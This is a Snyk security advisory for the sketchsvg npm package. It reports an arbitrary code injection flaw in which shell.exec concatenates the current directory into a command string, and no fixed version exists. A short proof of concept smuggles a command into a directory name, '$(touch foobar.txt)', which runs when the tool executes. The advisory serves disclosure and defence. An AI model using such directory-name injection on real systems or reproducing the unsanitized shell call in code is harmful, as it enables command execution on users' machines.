Arbitrary Code Injection Affecting sketchsvg package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity High
    Confidentiality High
    Integrity High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (6th percentile)
Expand this section
NVD
7.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SKETCHSVG-3167969
  • published 5 Mar 2023
  • disclosed 13 Dec 2022
  • credit Everardo Padilla

How to fix?

There is no fixed version for sketchsvg.

Overview

sketchsvg is a Command line tool used to convert and compress Sketch Icons/images to SVG and base64 formats.

Affected versions of this package are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.

PoC

$ pwd
/home/user/poc
$ mkdir '$(touch foobar.txt)'
$ cd '$(touch foobar.txt)'/
$ git clone https://github.com/eBay/SketchSVG && cd SketchSVG/
$ npm install
$ node index.js samples/test.sketch
$ file foobar.txt
foobar.txt: empty